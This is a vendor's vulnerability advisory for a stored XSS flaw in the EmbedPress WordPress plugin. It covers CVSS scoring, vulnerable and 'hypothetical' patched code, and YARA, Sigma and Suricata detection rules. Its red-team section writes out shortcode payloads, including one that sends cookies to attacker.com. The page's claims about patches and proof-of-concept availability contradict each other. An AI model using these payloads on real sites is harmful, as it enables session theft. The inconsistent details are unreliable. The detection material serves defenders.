CVE-2023-6986
Executive Summary
CVE-2023-6986 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to 3.9.5 exclusive). The flaw resides in the embed_oembed_html shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is available at this time, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity, but the risk remains significant for sites with untrusted contributors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is Medium due to the requirement for authenticated access, but the potential for stored XSS in a widely-used plugin warrants immediate attention.
Deep Dive & Mechanics
The vulnerability exists in the embed_oembed_html shortcode handler. The plugin fails to properly sanitize user-supplied attributes (e.g., url, width, height) before outputting them in the generated HTML. An attacker with Contributor-level access can craft a shortcode like:
[embed_oembed_html url="javascript:alert('XSS')" width="100" height="100"]
When the shortcode is rendered, the url attribute is inserted into the page without escaping, allowing JavaScript execution. The attack is stored in the WordPress database and triggers whenever the page is viewed.
The vulnerable code path is in the embed_oembed_html function, which directly echoes user input without using esc_attr() or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (versions < 3.9.5):
function embed_oembed_html_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'width' => '100%',
'height' => '400',
), $atts);
// Direct output without sanitization
return '<iframe src="' . $atts['url'] . '" width="' . $atts['width'] . '" height="' . $atts['height'] . '"></iframe>';
}
Patched Code (hypothetical fix):
function embed_oembed_html_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'width' => '100%',
'height' => '400',
), $atts);
// Sanitize and escape output
$safe_url = esc_url($atts['url'], array('http', 'https'));
$safe_width = esc_attr($atts['width']);
$safe_height = esc_attr($atts['height']);
return '<iframe src="' . $safe_url . '" width="' . $safe_width . '" height="' . $safe_height . '"></iframe>';
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Prerequisites: WordPress site with EmbedPress plugin < 3.9.5, an account with Contributor-level permissions.
- Craft the malicious shortcode:
[embed_oembed_html url="javascript:alert(document.cookie)" width="100" height="100"] - Inject the shortcode into a post or page via the WordPress editor.
- Trigger: When an administrator or other user views the page, the JavaScript executes.
Example payload for session hijacking:
[embed_oembed_html url="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" width="100" height="100"]
Blue Team (Defense & Detection)
- Monitor for suspicious shortcode usage in WordPress posts/pages.
- Restrict Contributor permissions to trusted users only.
- Use a Web Application Firewall (WAF) to block
javascript:URIs in shortcode attributes. - Implement Content Security Policy (CSP) headers to mitigate XSS.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embedpress/embedpress.php(check version) - Database: Posts/pages containing
[embed_oembed_htmlwithjavascript:ordata:URIs - Logs: HTTP requests to
/wp-admin/post.phpwith suspicious shortcode parameters - Network: Outbound connections to attacker-controlled domains from WordPress admin pages
Detection Engineering
YARA Rule
rule detect_embedpress_xss {
meta:
description = "Detects malicious shortcode injection in EmbedPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6986"
strings:
$shortcode = /\[embed_oembed_html[^\]]*url\s*=\s*["']javascript:/i
$shortcode2 = /\[embed_oembed_html[^\]]*url\s*=\s*["']data:/i
condition:
any of them
}
Sigma Rule
title: EmbedPress Stored XSS via Shortcode
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-6986 by injecting malicious shortcode attributes
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'wp-admin/post.php'
http.body|contains: '[embed_oembed_html'
http.body|contains|re: 'url\s*=\s*["\']javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-6986 EmbedPress Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"wp-admin/post.php"; http_uri; content:"[embed_oembed_html"; http_client_body; pcre:"/url\s*=\s*["']javascript:/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the EmbedPress plugin until a patched version is released.
- Short-term: Restrict Contributor-level accounts to trusted users only.
- Long-term: Apply input validation and output escaping to all shortcode attributes.
- Monitor: Subscribe to the plugin's changelog for security updates.
- Alternative: Use a different embedding plugin that properly sanitizes user input.
Valters IT – Securing digital ecosystems through intelligence-driven defense.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.